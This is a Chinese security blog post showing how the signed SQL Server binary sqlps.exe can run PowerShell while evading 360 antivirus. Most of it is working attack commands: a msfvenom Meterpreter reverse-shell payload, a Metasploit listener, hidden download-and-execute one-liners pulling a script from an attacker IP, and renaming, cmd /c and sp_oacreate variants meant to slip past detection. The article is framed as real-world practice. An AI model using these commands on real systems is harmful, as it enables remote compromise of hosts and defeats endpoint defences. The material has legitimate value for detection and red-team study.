sqlps.exe白名单的利用(过S60!)

2022-03-23 6,907
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 sqlps.exe简 介

sqlps.exe是SQL Server附带的一个具有Microsoft签名的二进制文件,用于加载SQL Server cmdlet,Microsoft Visual C#开发,可用ILSpy反编译查看源代码。


Microsoft SQL Server100和110是Powershell v2,120和130是Powershell v4。2016中已由SQLToolsPS.exe替换,但出于兼容性原因将包含在安装中。

C:Program Files (x86)Microsoft SQL Server100ToolsBinnsqlps.exe
C:Program Files (x86)Microsoft SQL Server110ToolsBinnsqlps.exe
C:Program Files (x86)Microsoft SQL Server120ToolsBinnsqlps.exe
C:Program Files (x86)Microsoft SQL Server130ToolsBinnsqlps.exe
C:Program Files (x86)Microsoft SQL Server140ToolsBinnsqlps.exe
C:Program Files (x86)Microsoft SQL Server150ToolsBinnsqlps.exe


0x02 MSF监听并执行

使用sqlps.exe执行360.ps1后会结束掉当前这个cmd.exe命令提示符,可能要延迟几秒MSF才接收到会话信息。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -f psh-reflection > /var/www/html/360.ps1
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.120msf5 exploit(multi/handler) > set lport 443msf5 exploit(multi/handler) > exploit


sqlps执行上线:

SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"


0x03 绕过360防护执行

众所周知360和火绒对powershell.exe进程的调用监控的非常严, sqlps.exe也有可能已经被360拦截了,如下图。


已被拦截:

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))" 
SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe'


但我们还是可以尝试使用加壳、反编译或者重命名和cmd /c等方式来绕过sqlps.exe的执行

绕过方式:

SQLPS1 -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))" 
cmd /c SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:ProgramDataSQLPS.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.1.120/360.ps1''))"'

0x04 注意事项

实战中建议根据目标主机实际环境提取相对应版本的sqlps.exe,如单独提取出来的sqlps.exe在执行时可能会出现缺少依赖项等问题,常见的有以下两种报错。


已测试的系统和sqlps.exe见下表,测试记录见下图。


0x05 参考链接

https://mp.weixin.qq.com/s/XkleeVDz80WZy4NZqXhEfA

https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/


本文作者:潇湘信安

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/175529.html

Tags:
评论  (0)
快来写下你的想法吧!

潇湘信安

文章数:57 积分: 15

关注微信公众号【潇湘信安】,一起学习网络安全知识!

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号